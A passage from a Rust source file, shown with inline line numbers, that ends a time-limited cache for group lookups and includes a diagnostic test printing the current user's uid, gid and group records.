t.elapsed().unwrap_or(Duration::MAX).as_secs() <= 1800 => { 123 | entry.clone() 124 | } 125 | _ => { 126 | let group = get_group(gid); 127 | self.groups.insert(gid, (group.clone(), EpochTime::now())); 128 | group 129 | } 130 | } 131 | } 132 | } 133 | 134 | #[cfg(test)] 135 | mod test { 136 | use super::*; 137 | #[test] 138 | /// This is not a real test case, it is just intended for 139 | /// diagnostic purposes. 140 | fn userdb() { 141 | let mut userdb = UserDB::default(); 142 | // Just output info for current user 143 | let uid = nix::unistd::Uid::current(); 144 | let gid = nix::unistd::Gid::current(); 145 | println!("user for uid {uid}: {:?}", userdb.get_user(uid.into())); 146 | println!("group for gid {gid}: {:?}", userdb.get_group(gid.into())); 147 | println!( 148 | "groups for uid {uid}: {:?}", 149 | userdb.get_user_groups(uid.into()) 150 | ); 151 | } 152 | } 153 | --------------------------------------------------------------------------------